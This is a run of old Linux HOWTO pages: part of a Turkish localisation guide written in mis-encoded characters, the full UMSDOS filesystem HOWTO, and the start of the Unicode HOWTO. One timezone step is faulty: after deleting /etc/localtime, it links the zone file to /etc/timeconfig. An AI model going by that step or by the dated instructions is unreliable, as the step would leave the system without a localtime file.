KDE altýnda, programlarýn Türkçe çalýþmasý ve mesajlarýn Türkçe çýkmasý için kcontrol programýný çalýþtýrýn. Sol tarafta yeralan Desktop - Language menüsü içinde ilk dil olarak Turkish'i seçin. Bundan sonra açacaðýnýz her KDE programý, eðer destekleniyorsa Türkçe çalýþacaktýr.

5.4 kvt

kvt, KDE ile birlikte gelen bir terminal emülasyon programýdýr. kvt'de kullanacaðýnýz yazýtipini seçmek için, sýrasýyla

  • Seçenekler - Yazýtipi menüsüne girin.
  • Karakterler seçeneðinin yanýndaki düðmeden iso-8859-9 seçeneðine týklayýn.
  • Ýsterseniz boy, tür ve diðer seçeneklere de gözatabilir ve bunlarý deðiþtirebilirsiniz. Özellikle Courier yazýtipi en iyi görüntüyü saðlayacaktýr.
  • kvt'ye geri dönün.

Artýk kvt altýnda Türkçe yazabilirsiniz. Ancak X Window'da henüz Türkçe karakterlerinizi tanýtmadýysanýz yukarýda yazýlanlarý yapmak mümkün olmaz. Bunun için önce ``X Window Türkçe yazýtiplerinin yüklenmesi'' baþlýðý altýnda yeralan yönergeleri izleyin.

kvt'nin yeni bir sürümünü kullanmanýz halinde, önce kvt'yi çalýþtýrýn, ardýndan farenin sað tuþuyla kvt üzerinde herhangi bir noktaya basýn. Yukarýdaki maddeleri sýrasýyla takip edin.

5.5 GNOME altýnda Türkçe

GNOME masaüstü altýnda, özellikle gnome terminal altýnda yaþayabilmeniz muhtemel Türkçe karakter sorununa çözüm için, aþaðýdaki maddeleri uygulayýn:

  • Bir gnome terminal açýn. GNOME panelinin (ekranýn en altýnda) üzerinde yeralan ekran görüntüsü üzerine týklayabilirsiniz.
  • Settings - Preferences içine girin. Font karþýsýndaki kutucukta, halen kullanýlan yazýtipi yeralmaktadýr. Karþýsýndaki kutuya (Browse) týklayýn.
  • Filter sekmesine týklayýn. Charset bölümünden ISO8859-9'u seçin. Ok'i týklayýn.
  • Ok diyerek son pencereden de çýkýn. Þimdi gnome terminalde Türkçe karakterleri görebileceksiniz.


Turkish-HOWTO: Zaman dilimi ayarlarý

 Next Previous Contents

6. Zaman dilimi ayarlarý

Türkiye, Greenwich'ten 2 saat ileride yeralan zaman dilimi kuþaðý içindedir. Bunu, bir e-posta aldýðýnýz zaman iletinin en üst kýsmýnda yeralan +02:00 iþaretinden de anlayabilirsiniz. Eðer hatalý bir zaman diliminde yeralýyorsanýz, yapýlmasý gereken iþlemler aþaðýdadýr. Alternatif olarak, Red Hat ve Mandrake daðýtýmlarýyla gelen timeconfig paketi zaman dilimini ayarlamanýz konusunda yardýmcý olacaktýr.

Önce /etc/localtime saat ayarý dosyasýný silin:

# rm /etc/localtime

Ardýndan, bu dosyayý bir sembolik bað ile, /usr/share/zoneinfo/Europe/Istanbul dosyasýna baðlayýn.

# ln -s /usr/share/zoneinfo/Europe/Istanbul /etc/timeconfig

timeconfig paketinde ise sadece ``Turkey'' seçeneðini iþaretleyin ve çýkýn.

Eðer /etc/localtime dosyasý yoksa, baþta sendmail olmak üzere pek çok programda hoþ olmayan hata mesajlarý alýrsýnýz.


Turkish-HOWTO: X Window desteði

 Next Previous Contents

7. X Window desteði

Metin tabanlý bir ekran altýnda Türkçe yazdýktan ve uygulamalarýmýzý Türkçe yazýtipleriyle kullanmaya baþladýktan sonra X Window altýnda nasýl Türkçe yazýlýr ve okunur, görelim.

7.1 X Window Türkçe yazýtiplerinin yüklenmesi

Öncelikle yapmamýz gereken, Türkçe yazýtiplerinin X Window'a tanýtýlmasýdýr. X Window açýlýrken, hangi yazýtiplerini yükleyeceðini belirlemek amacýyla bazý öntanýmlý dizinlere bakar. Bu dizinler, /usr/X11R6/lib/X11/XF86Config dosyasýnda belirtilmiþtir.

RPM paketlerini kurabileceðiniz bir daðýtým kullanmanýz halinde, Türkçe yazýtiplerini ve klavye harita ek dosyasýný yüklemiþseniz, iþiniz çok kolay. Bu dosyalarý yükleyip yüklemediðinizi bilmiyorsanýz aþaðýdaki komutu çalýþtýrýn.

# rpm -qa | grep ISO8859-9
XFree86-ISO8859-9-75dpi-fonts-2.1.2-1
XFree86-ISO8859-9-2.1.2-1
XFree86-ISO8859-9-100dpi-fonts-2.1.2-1

Yukarýdaki satýrlara benzer bir çýktý almýþ olmanýz gerekiyor (sürüm numaralarý farklý olabilir). Eðer almadýysanýz Türkçe yazýtiplerini kurmamýþsýnýz demektir. Eðer Red Hat Linux kullanýyorsanýz, CD'yi sürücüye yerleþtirip sýrayla þu iþlemleri yapýn:

# mount /dev/cdrom
# cd /mnt/cdrom/RedHat/RPMS/
# rpm -i XFree86-ISO8859-9-75dpi-fonts-2.1.2-1
# rpm -i XFree86-ISO8859-9-2.1.2-1
# rpm -i XFree86-ISO8859-9-100dpi-fonts-2.1.2-1

Yazýtiplerini ve klavye eþlem dosyasýný sisteminize kurduktan sonra bir sonraki adýma geçin.

Þimdi, daha önce yarým býraktýðýmýz noktaya geri dönelim. X Window'un yükleyeceði yazýtiplerinin bulunduðu dizinler /usr/X11R6/lib/X11/XF86Config dosyasýnda belirtiliyordu.

Bu dosya içinde, aþaðýdakine

FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"

ya da buna

FontPath    unix/-1

benzer satýrlar göreceksiniz.

Bu satýrlarýn en baþýna, kurduðumuz Türkçe yazýtipleri neredeyse o dizinin adýný yazýyoruz. Red Hat Linux 6.0'dan itibaren Türkçe yazýtipleri /usr/share/fonts/ISO8859-9 dizinine kuruluyor. Bu dizin patikasýný XF86Config dosyasýnýn en üstüne ekleyelim. Tüm Türkçe yazýtipleri kurulmuþsa /usr/share/fonts/ISO8859-9 dizini altýnda aþaðýdaki dosyalarý görebilirsiniz:

# ls -al /usr/share/fonts/ISO8859-9/
total 17
drwxr-xr-x   5 root     root         1024 Feb 13 19:04 .
drwxr-xr-x  11 root     root         1024 Feb 15 18:46 ..
drwxr-xr-x   2 root     root         6144 Feb 13 19:04 100dpi
drwxr-xr-x   2 root     root         6144 Feb 13 19:04 75dpi
drwxr-xr-x   2 root     root         1024 Feb 13 19:04 misc

Þimdi ISO8859-9 dizininde Türkçe yazýtiplerimizin bulunduðunu /usr/X11/lib/X11/XF86Config dosyasýnda belirtelim.

FontPath   "/usr/X11R6/lib/X11/fonts/ISO8859-9/misc"
FontPath   "/usr/X11R6/lib/X11/fonts/ISO8859-9/75dpi"
FontPath   "/usr/X11R6/lib/X11/fonts/ISO8859-9/100dpi"
FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"

Tabi, bu dosyada "FontPath unix/:-1" satýrý varsa, ekleme yapacaðýnýz üç satýrý da "FontPath unix/:-1" satýrýnýn baþýna koymanýz gerekiyor.

Þu anda yazýtiplerimizi sisteme tanýtmýþ durumdayýz. X Window açýlýrken önce en üstteki FontPath bilgileri okunacaktýr.

Þimdi X Window'a girin. Netscape ile herhangi bir Türkçe dosyayý görüntüleyebilirsiniz.

7.2 X Window altýnda Türkçe klavye kullanýlmasý

Sýra geldi klavye ayarlarýnýn yapýlmasýna. Red Hat ile birlikte, Türkçe klavye eþlem dosyalarý da geliyor. Bu dosyalar, /usr/X11R6/lib/X11/etc dizininde yeralýyorlar:

# cd /usr/X11R6/lib/X11/etc/
# ls -al xmodmap.*
-r--r--r--   1 root     root         4988 Oct 10 10:53 xmodmap.std
-rw-r--r--   1 root     root         2764 Oct  6  1998 xmodmap.tralt
-rw-r--r--   1 root     root         2316 Oct  6  1998 xmodmap.trf
-rw-r--r--   1 root     root         2316 Oct  6  1998 xmodmap.trq

Yukarýdaki dosyalar sýrasýyla standart Amerikan klavye, alt Türkçe klavye, F klavye ve Q Türkçe klavyeye karþýlýk geliyor. X Window'a girerken bu klavyelerden bir tanesini aktif hale getirmemiz gerekiyor. Örnek olarak, Q Türkçe klavyenin, X Window açýlýrken etkin olmasý için, /home/kullanýcý-adý/.xinitrc dosyasýna aþaðýdaki satýrý eklemelisiniz.

xmodmap /usr/X11R6/lib/X11/etc/xmodmap.trq

.xinitrc dosyasýna, kullandýðýnýz pencere yönetecisini çalýþtýracak þekilde bir eklenti de yapmanýz gerekecektir. Bu eklentiyi de yaptýktan sonra dosyanýn son hali aþaðýdakine benzer bir hal alýr:

xmodmap /usr/X11R6/lib/X11/etc/xmodmap.trq
startkde

Tabi siz startkde yerine istediðiniz pencere yöneticisini çalýþtýracak þekilde bir komut yazabilirsiniz.

X Window'a girdikten sonra da klavye haritasýný deðiþtirmek mümkündür. Bunun için yukarýda örneði bulunan xmodmap komutunu doðrudan xterm altýnda çalýþtýrabilirsiniz.

X Window altýnda kullanýlan klavye eþlem dosyalarýndan xmodmap.tralt, konsol ekranda kullanýlan tr.alt dosyasýndan biraz farklýlýk gösteriyor. Konsol altýnda, herhangi bir Türkçe karakteri bastýrmak için ALT tuþunu kullanýrken, X Window altýnda ALT-GR tuþunu kullanmalýsýnýz.

XFree86'daki güzel bir özellik de, konsolda kullanýlan klavye eþlem dosyasýnýn aynýsýnýn, X Window açýlýrken de kullanýlabilmesi. Bunun için, /usr/X11R6/lib/X11/XF86Config dosyasýnda,

XkbDisable

þeklinde bir satýrýn bulunmasý gerekir.


Turkish-HOWTO: Yapýlacaklar

 Next Previous Contents

8. Yapýlacaklar

Nefesimin yettiði bir noktada, uluslararasýlaþtýrma (i18n - internationalizaton) ve yerelleþtirme (l10n - localization) konularýna da girmek istiyorum. Bu sayede örneðin ayný kaynak kodu derleyerek, farklý diller için farklý tarih gösterimleri sunabilirsiniz. Bir dosya içinde sýralama yaparken "ç" karakterinin, "c"den hemen sonra gelmesini saðlayabilirsiniz. i18n sayesinde bir yazýlýmýn kullanýþlýðý çok artar. KDE gibi güzel bir masaüstü paketini þimdi Türkçe kullanabiliyorsanýz bunu i18n desteðine borçlusunuz.

Bunlarýn yanýnda, sýrada Star Office'in Türkçe ayarlarýnýn yapýlmasý var. Saðolsun Sun Microsystems, Star Office'i serbest býrakarak Linux kullanýcýlarýnýn çok geliþmiþ bir ofis paketine sahip olmalarýna yardým etti. Bize de bu nimetten yararlanmak kaldý.

Sevgi, saygý, Linux


UMSDOS HOW-TO

Jacques Gelinas, jacques@solucorp.qc.ca

v1.2, 2001-12-01

Umsdos is a linux file system. It provide an alternative to the EXT2 file-system. Its main goal is to achieve easier coexistence with Ms-DOS data by sharing the same partition. This document explain first how to use Umsdos in different configuration, and later explain its operation and try to provide some information letting you decide if it is a good choice for you (see UMSDOS-WHY-TO at the end).

1. Copyright and License

2. UMSDOS: Where is it ?

  • 2.1 Copyright and License
  • 2.2 History
  • 2.3 Availability
  • 2.4 Distribution supporting it
  • 2.5 Home site
  • 2.6 Technical documentation
  • 2.7 Who wrote it

3. Umsdos as your root partition

  • 3.1 The pseudo-root concept.
  • 3.2 Things to know about the pseudo-root

4. Different topics about the operation of Umsdos

  • 4.1 Mount option
  • 4.2 How to set defaults for the root
  • 4.3 To swap or not to swap

5. How to boot a Umsdos system

  • 5.1 Loadlin
  • 5.2 From a floppy
  • 5.3 LILO
  • 5.4 How to defragment a Umsdos partition
  • 5.5 Advance tricks

6. Basic principle

  • 6.1 Introduction
  • 6.2 Umsdos can replace the Ms-DOS file-system.
  • 6.3 Directory promotion
  • 6.4 How to promote: /sbin/umssync
  • 6.5 Using /sbin/umssync at boot time
  • 6.6 How to UN-promote
  • 6.7 What about files created during a DOS session ?

7. Installation/UN-installation and some tricks

  • 7.1 The pseudo-root /mnt/linux
  • 7.2 Preparing /mnt/linux
  • 7.3 Making sure /mnt/linux is correctly setup
  • 7.4 Oops releasing pseudo root ...
  • 7.5 How to UN-install a Umsdos system
  • 7.6 Moving a Umsdos system to another DOS drive
  • 7.7 About installing 50 Umsdos systems.

8. Setting a Linux section in a DOS partition

9. UMSDOS-WHY-TO

  • 9.1 The goal of Umsdos
  • 9.2 Who needs it
  • 9.3 Performance issue


UMSDOS HOW-TO: Copyright and License

 Next Previous Contents

1. Copyright and License

This document is Copyright (c) 1995 by Jacques Gelinas.

It is released under the terms of the GNU Free Documentation License. A copy of the license should have been distributed with it, or you can see a copy at http://www.fsf.org/licenses/fdl.html.


UMSDOS HOW-TO: UMSDOS: Where is it ?

 Next Previous Contents

2. UMSDOS: Where is it ?

2.1 Copyright and License

This document is Copyright (c) 1995, Jacques Gelinas.

It may be distributed under the GNU Free Documentation License. You should have received a copy with it. If not, you can view it at http://www.fsf.org/licenses/fdl.html.

2.2 History

The Umsdos project was started in 1992 and made available to the net in January 1994 as a patch. It was included in the standard kernel distribution in July, starting with kernel 1.1.36.

Umsdos was early adopted in the Slackware distribution even before it was officially included in the official kernel.

Umsdos was improved starting at kernel 1.1.60. Its performance has been dramatically enhanced, especially for writing. Since 1.1.70 (around this), it is stable again.

A major bug was solve in Linux 1.2.2. This bug was causing some grief to users since the beginning (some file were silently renamed, giving the sad impression that they were deleted). Beware that Slackware 2.2 is still shipping release 1.2.1 of the kernel, so has this bug.

2.3 Availability

It is available as a patch for kernel 1.0.x. It is built-in for kernel 1.2. It can be compiled in or load as a module. Beware that for now, if you intend to load umsdos as a module, you must also use the Ms-DOS fs as a module. This come from a limitation in the module system (some symbols are only export when the drivers is installed as a module).

2.4 Distribution supporting it

So far, I think only Slackware does support it. I am surely wrong, so please send me info to correct this.

2.5 Home site

The home site for Umsdos is sunsite.unc.edu. Look in the directory /pub/Linux/system/Filesystems/umsdos.

2.6 Technical documentation

There is quite a lot of documentation about the internal of Umsdos. It is available both in HTML and text format at the same location as the utilities.

As far as I know, the HTML version is not available online on any web site. You must down-load it and "UN-tar" it and read it locally.

2.7 Who wrote it

Jacques Gelinas jacques@solucorp.qc.ca


UMSDOS HOW-TO: Umsdos as your root partition

 Next Previous Contents

3. Umsdos as your root partition

3.1 The pseudo-root concept.

With Umsdos, Linux can be installed in a standard DOS partition. Linux is then installed as a second (or third) OS in the partition. To avoid name collision (there is maybe a bin or tmp directory in the drive C: already), Umsdos use a smart trick: The pseudo-root.

All Linux files are installed in a DOS subdirectory called linux, generally C: LINUX. The normal Linux/Unix directory structure goes there. So you get

  • C:\LINUX\BIN

  • C:\LINUX\ETC

  • C:\LINUX\LIB

  • C:\LINUX\ROOT

  • C:\LINUX\SBIN

  • C:\LINUX\TMP

  • C:\LINUX\USR

  • C:\LINUX\VAR

When the Umsdos boot, it probes for the directory linux and then /linux/etc. If it exist, it activates the pseudo-root mode.

Mostly, the pseudo-root mode switch the root of the partition to C:\\LINUX giving the conventional Unix directory layout

  • /bin

  • /etc

  • /lib

  • /root

  • /sbin

  • /tmp

  • /usr

  • /var

To this list, it adds a new one called DOS. This one is a virtual directory.

3.2 Things to know about the pseudo-root

  • This mode can only be triggered at boot time. There is no way to activate this by a mount command.
  • This mechanism is purely a different view of a normal Umsdos file-system. This means that a partition normally used as a root partition can be normally mounted. There won't be any pseudo-root effect. For example, if you boot linux with a maintenance floppy and mount your normal root partition in /mnt, you will find all your linux directory in /mnt/linux/bin, /mnt/linux/etc and so on.


UMSDOS HOW-TO: Different topics about the operation of Umsdos

 Next Previous Contents

4. Different topics about the operation of Umsdos

4.1 Mount option

You can use the same mount option as for the Ms-DOS file system. The option conv= is questionable on a Umsdos system. I suggest to avoid it. Mostly the option you may want to look at are

  • uid=
  • gid=
  • umask=

Just remember that Umsdos manage non promoted directory the same way as the Ms-DOS file system. The option above will apply globally to all non promoted directory. uid setup the default owner, gid setup the default group and umask setup the default permissions.

4.2 How to set defaults for the root

umssetup was created to provide at run time default ownership for the root partition. For other Umsdos partition, mount option may be used or umssetup. Storing mount option in /etc/fstab is the prefered way for non root partition. Here is an example. Put this in /etc/rc.d/rc.S.

                /sbin/umssetup -u jack -g group -m 0755 /

4.3 To swap or not to swap

Using a swap file is generally slower than a swap partition. It is however much more flexible. You can setup a swap file in a Umsdos partition the same way you do it for any other Linux file systems. For example, to setup a 8 megabytes swap file in the root directory:

                dd if=/dev/zero bs=1024k count=8 of=/swap
                mkswap /swap 8192
                sync
                swapon /swap

Once done, you can put the following line in /etc/fstab

                /swap   swap    swap    default

And the swap file will be activated at each boot (There is generally a "swapon -a" in /etc/rc.d/rc.S).


UMSDOS HOW-TO: How to boot a Umsdos system

 Next Previous Contents

5. How to boot a Umsdos system

5.1 Loadlin

The package lodlin15.tgz available from sunsite.unc.edu in /pub/Linux/system/Bootutils. This utility is particularly suited to boot a Umsdos system. Generally all you need to do is

        Boot DOS
        C:>loadlinx zimage root=D:

where zimage is a normal kernel image (compressed) simply copied somewhere in the DOS drive. D: is the DOS drive where you have installed Linux.

5.2 From a floppy

Booting a Umsdos system from a floppy is not different from booting a Ext2 system. You need a kernel zImage file properly initialize to locate your root Umsdos partition. This is generally achieved using the command rdev. The following sequence will initialize a zImage and put it on a floppy.

        rdev zImage /dev/hda1
        rdev -R zImage 0
        dd if=zImage bs=8192 of=/dev/fd0

If this looks confusing, just format a boot-able DOS floppy and put the following component on it.

  • loadlin.exe
  • loadlinx.exe
  • zimage

and setup the autoexec.bat like this

        loadlinx zimage rw root=C:

5.3 LILO

LILO, the official Linux boot loader can also be used to boot a Umsdos system. I have no experience with it though. Since 1.1.60, it should work. Please email if you know something.

5.4 How to defragment a Umsdos partition

It can be done using any popular DOS tool. There is nothing particular about file produced by Umsdos. And Umsdos do not expect anything particular (directory layout, directory entry sequence, etc...) from the file system under it.

As far as I know, there is no Linux tool to achieve this.

5.5 Advance tricks

Umsdos rely on the --linux-.--- which rely on the DOS directory. Some users may want to experiment a bit. The utility udosctl part of the umsdos_progs package (containing umssync and umssetup) allows basic directory operation (listing, deletion) independently on the --linux-.--- and the DOS directory.


UMSDOS HOW-TO: Basic principle

 Next Previous Contents

6. Basic principle

6.1 Introduction

Umsdos map Linux files directly to Ms-DOS files. This is a one for one translation. File content is not manipulated at all. Umsdos only works on names. For special files (links and devices for example), it introduces special management.

For each directory, there is a file named --linux-.---.

6.2 Umsdos can replace the Ms-DOS file-system.

Umsdos can be thought as a general purpose superset of the Ms-DOS file system of linux. In fact this capability or flexibility yields much confusion about Umsdos. Here is why. Try to mount a newly formatted DOS floppy like this.

        mount -t umsdos /dev/fd0 /mnt

And do this,

        ls / >/mnt/LONGFILENAME
        ls -l /mnt

You will get the following result

        -rwxr-xr-x   1 root     root          302 Apr 14 23:25 longfile

So far, it seems that the Umsdos file system does not do much more (in fact nothing at all) than the normal Ms-DOS file system of Linux.

???

6.3 Directory promotion

Pretty unimpressive so far. Here is the trick. Unless promoted a DOS directory will be managed the same way with Umsdos than the Ms-DOS file-system will. Umsdos use a special file in each subdirectory to achieve the translation between the extended capabilities (long name, ownership, etc...) of Umsdos and the limitation of the DOS file-system. This file is invisible to Umsdos users, but visible when you boot DOS. To avoid cluttering the DOS partition with those file (--linux-.---) uselessly, the file is now optional. If absent, Umsdos behave like Ms-DOS.

When a directory is promoted, any subsequent operation will be done with the full semantic normally available to Unix and Linux users. And all subdirectory created afterward will be silently promoted.

This feature allows you to logically organize your DOS partition into DOS stuff and Linux stuff. It is important to understand that those --linux-.--- file do take some place (generally 2k per directory). DOS generally use large cluster (as big as 16k for a 500meg partition), so avoiding putting --linux-.--- everywhere can save your day.

6.4 How to promote: /sbin/umssync

A directory can be promoted any time using /sbin/umssync. It can be used at any time. Promoting a directory do the following operation

  • Create a --linux-.---.
  • Establish a one to one relation between the --linux-.--- and the current content of the directory.

/sbin/umssync maintain an existing --linux-.--- file. It does not create it from scratch all the time. It simply add missing entries in it (Files created during a DOS session). It will also removed files which do not exist anymore in the DOS directory from the --linux-.---. umssync gets its name from that. It put --linux-.--- in sync with the underlying DOS directory.

6.5 Using /sbin/umssync at boot time

It is a good idea to place a call to /sbin/umssync at the end of your /etc/rc.d/rc.S if it's not there. The following command is adequate for most system:

        /sbin/umssync -r99 -c -i+ /

The -c option prevent umssync from promoting directories. It will only update existing --linux-.---.

This command is useful if you access Linux directory during a DOS session. Linux has no efficient way to tell that a directory has been modified by DOS so Umsdos can't do a umssync operation as needed.

6.6 How to UN-promote

Remove the --linux-.--- file using DOS. You will be sorry.

6.7 What about files created during a DOS session ?

Unless you use umssync on a directory where files have been added or removed by DOS, you will notice some problems:

  • It won't crash the system nor it won't cause major problems, only annoyance :-)
  • Files created by DOS.
    • They will be invisible in Linux.
    • When trying to create a file with the same name, you will get an error message stating that the file already exist.
    • This creates more confusion that real problem. It does not harm the file system.
  • Files deleted by DOS won't cause problem. Umsdos will notice the absence at the first access. A message will be output (and generally written into /var/adm/syslog).


UMSDOS HOW-TO: Installation/UN-installation and some tricks

 Next Previous Contents

7. Installation/UN-installation and some tricks

The installation of a Umsdos is not much different from the installation of an ordinary (Ext2 based) Linux system.

There are two main differences.

7.1 The pseudo-root /mnt/linux

The normal steps for an installation are

  1. Setting a partition with fdisk and formatting it.
  2. Mounting it as /mnt relative to our installation root disk.
  3. Copy all packages into /mnt.

With Umsdos, the step 1 is not required (wasn't it the goal of Umsdos not to reformat ?).

It is possible to install a Umsdos system just by copying all packages into /mnt. This will certainly work. But it will create a bunch of subdirectories into your DOS root directory (C:) and you won't like it. This is the reason all Umsdos installation use the pseudo-root. And this is the major difference between a normal Ext2 installation and a Umsdos one: All files are copied into /mnt/linux.

7.2 Preparing /mnt/linux

/mnt/linux is not an ordinary directory. It has to be promoted so it will correctly handle Linux long file name and special files (links, device). The step required to setup /mnt/linux are:

  1. mkdir /mnt/linux
  2. umssync /mnt/linux

That's it!

7.3 Making sure /mnt/linux is correctly setup

Even if the setup of /mnt/linux is pretty simple, there are many installation package out there who get it wrong. How can ?

The biggest installation problem come from an incompatible umssync program. Umsdos has been update in linux 1.1.88 (Can't remember exactly) and a flaw was uncovered in umssync. To avoid confusion in the Linux community, it was decided to raise the compatibility level required for all Umsdos tools. Old version of the tools were simply rejected.

It sounds like many distribution did not update their umssync utility on the installation disk.

There are still many distribution like this out there. The net result is that the directory /mnt/linux is not promoted at all and will truncate all long file name and will reject all special file.

It is possible to do a test very early during the installation to find out if something went wrong. Thanks to the pseudo console mechanism of Linux, you can do that without leaving the installation program. Do the following steps:

  1. Press Alt-F2 (Alt key at the same time as the F2 key).
  2. login as root.
  3. cd /mnt/linux If this fail, you are trying this too early. A good time to do this is at the end of the packages selection.
  4. >TOTO
  5. ls -l You should see an empty file TOTO in uppercase. If you see it in lowercase, something went wrong. Try to do the umssync step again. umssync can be use over and over without problem. umssync . If there is no error message, try the TOTO test again. If TOTO appears fine, then all is OK. Something is strange in this installation, but you just save it. Continue
  6. Press Alt-F1 to get back to the installation screen.

If the test fail, the best fix is to get a newer installation root disk. You can generally fix this root disk by installing a newer version of umssync. This is not difficult but required a working Linux system. You simply have to mount the root disk floppy and replace the offending umssync with a new one.

7.4 Oops releasing pseudo root ...

Most Umsdos installation which fail, do this by printing this strange message. This is not a bug in Umsdos although the message looks strange. Here are the known causes.

  • The most common one

    The Slackware installation try to setup a swap file very early during the installation. To do so, it asks you to select a partition (dos drive), then mount it and set the swap file.

    When installing a Slackware system, you must setup the target partition prior to install. This normally mounts the DOS partition on /mnt, creates the /mnt/linux directory and applies umssync on it.

    This is where most problems come from. Most user just forget the "setup target partition" step and go directly to the rest of the installation. Since /mnt is already mounted, this mistake goes unnotice. This means that /mnt/linux was not created properly (Not promoted). All special files and links and long names can't be created properly.

  • Invalid umssync utility

    /mnt/linux was improperly setup-ed. Generally caused by an improper umssync utility on the installation root disk.

  • Old bug in umsdos

    There was a bug in Umsdos prior to Linux 1.2.2. The pseudo-root mode would not activate properly if the file /etc/init was missing. init is now located in /sbin. You can fix it by getting a newer kernel. This is recommended because another bug was uncover and fixed in 1.2.2.

    If you can't upgrade, do this

    1. Boot from you installation disk.
    2. Login as root.
    3. mount -t umsdos /dev/hdXX /mnt where /dev/hdXX is your DOS partition.
    4. cd /mnt/linux/etc
    5. ln -s ../sbin/init init
    6. cd /
    7. Ctrl-Alt-Del
    8. Boot your Umsdos normally.

Unfortunatly, the first two (Installation problems) produce a completly unusable installation. Uninstall it (See next section) and install again.

7.5 How to UN-install a Umsdos system

One neat thing about Umsdos and its pseudo-root mechanism, is that you can UN-install it without pain. You just boot DOS and recursively delete the linux directory. That's all. Umsdos requires no special drivers in the config.sys, nor it creates anything special outside of the linux directory.

7.6 Moving a Umsdos system to another DOS drive

This can be done from Linux or from DOS. You just have to copy recursively the linux directory from one drive to the other. After that you will have to adjust you boot mechanism (generally loadlin command) and the /etc/fstab file.

Umsdos can live on any DOS drive. There is no need to install it on the C: drive, nor it is important to have it on the first hard drive. It does not matter at all.

In fact, one may decide to have several Umsdos installations on different drive just to do experiments.

7.7 About installing 50 Umsdos systems.

How about installing a bunch of Linux systems in no time ?

Umsdos systems are living in a DOS world. You can take advantage of this if you wish to install Linux easily.

You can install and configure a Umsdos system at your site. When you are satisfied with the configuration and the different packages you have selected, you can boot DOS and copy the complete linux directory to your DOS file server. Then you go to other DOS station and simply copy the files on the network drive to the local drive. That's it. Only adjust the boot script (Loadlinx) and go.

With minimal adjustment (Host name, IP number), anyone will be able to install a Linux system in a matter of minute.

Interest readers may note that installing Linux systems by copying running system also works for any other Linux systems, including Ext2 based one.

One beauty of Linux is that there is no hidden files which have to be install by magic installation program.


UMSDOS HOW-TO: Setting a Linux section in a DOS partition

 Next Previous Contents

8. Setting a Linux section in a DOS partition

Umsdos has some use even for Ext2 (Native Linux file-system) users. One common scenario is this:

  • Linux being your OS of choice, the Linux partition start to fill and fill and fill.
  • Your DOS partition is collecting dust, being half empty.
  • You are suddenly out of space in the Ext2 partition.
  • You are still not sure you want to get rid of DOS.

Umsdos may save the day here. You can setup a Linux directory in the DOS partition and use it without restriction for Linux usage. For example, say you want to setup a new directory named "extra" in your C: drive. And you want this directory to behave as a normal Linux directory. Do this (assuming that C: is /dev/hda1).

        mkdir /c
        /sbin/mount -t umsdos /dev/hda1 /c
        mkdir /c/extra
        umssync /c/extra

You must be root to do this.

By setting up /etc/fstab like this, you will always have access to the /c/extra directory.


UMSDOS HOW-TO: UMSDOS-WHY-TO

 Next Previous Contents

9. UMSDOS-WHY-TO

Explaining how to operate or install a Umsdos system is not enough. Most people are seeking some advises about using Umsdos or not.

9.1 The goal of Umsdos

The goal of Umsdos was to ease the installation of Linux. An other goal was to ease its UN-installation. The idea here was to promote the spreading of Linux. Installing a new OS on a system is always troublesome. OS/2 for one will happily pollute your C: root with a bunch of new directories. If you are clever like me, it will also erase your config.sys and autoexec.bat files :-(

The pseudo-root feature of Umsdos avoid this unwanted invasion. Linux can be UN-install without side effect.

9.2 Who needs it

If you have a small hard drive, Umsdos will allow you to share disk space between DOS and Linux. A disk below 300 megs is in my opinion a small disk. This opinion is based on the size of the different package available today. One popular word processor may eat as much as 70 megabytes if you select all features.

If you have a larger drive, you may consider having a dedicated Linux partition running the Ext2 file-system. Ext2 use a smaller cluster size that DOS (1k in fact) so installing many small files will eat less space than in a Umsdos partition.

9.3 Performance issue

The following point apply to Umsdos compared with Ext2.

  • Directory management is faster on Ext2. This come from the overhead of the double directory structure of Umsdos.
  • File access (reading and writing) is probably faster on Umsdos than Ext2. This come from the simplicity of the FAT file-system used by DOS. Beware that this simplicity come with a cost:
    • A maximum of around 65,000 files or clusters per partitions. This also means that a 500 megabytes partition will use cluster 16k large. In other word, a file containing a single byte will use 16k of disk storage.
    • Everything is controlled by the FAT located at the beginning of the hard drive. The DOS file-system is probably more fragile because of this.
    • No provision to avoid fragmentation of files. A Umsdos system will generally be used as a single user workstation. In this case, this does not matter much. As a multi-user engine, files will get spread-ed all around the drive, lowering file access performance.
  • Symbolic links are stored in normal file. If you intend to have a lot of them, you will find that Umsdos use quite a lot of disk space compared to Ext2.


The Unicode HOWTO

Bruno Haible, <haible@clisp.cons.org>

v1.0, 23 January 2001

This document describes how to change your Linux system so it uses UTF-8 as text encoding. - This is work in progress. Any tips, patches, pointers, URLs are very welcome.

1. Introduction

  • 1.1 Why Unicode?
  • 1.2 Unicode encodings
  • 1.3 Related resources

2. Display setup

  • 2.1 Linux console
  • 2.2 X11 Foreign fonts
  • 2.3 X11 Unicode fonts
  • 2.4 Unicode xterm
  • 2.5 TrueType fonts
  • 2.6 Miscellaneous

3. Locale setup

  • 3.1 Files & the kernel
  • 3.2 Upgrading the C library
  • 3.3 General data conversion
  • 3.4 Locale environment variables
  • 3.5 Creating the locale support files

4. Specific applications

  • 4.1 Shells
  • 4.2 Networking
  • 4.3 Browsers
  • 4.4 Editors
  • 4.5 Mailers
  • 4.6 Text processing
  • 4.7 Databases
  • 4.8 Other text-mode applications
  • 4.9 Other X11 applications

5. Printing

  • 5.1 Printing using TrueType fonts
  • 5.2 Printing using fixed-size fonts
  • 5.3 The classical approach
  • 5.4 No luck with...

6. Making your programs Unicode aware

  • 6.1 C/C++
  • 6.2 Java
  • 6.3 Lisp
  • 6.4 Ada95
  • 6.5 Python
  • 6.6 JavaScript/ECMAscript
  • 6.7 Tcl
  • 6.8 Perl
  • 6.9 Related reading

7. Other sources of information

  • 7.1 Mailing lists


The Unicode HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Why Unicode?

People in different countries use different characters to represent the words of their native languages. Nowadays most applications, including email systems and web browsers, are 8-bit clean, i.e. they can operate on and display text correctly provided that it is represented in an 8-bit character set, like ISO-8859-1.

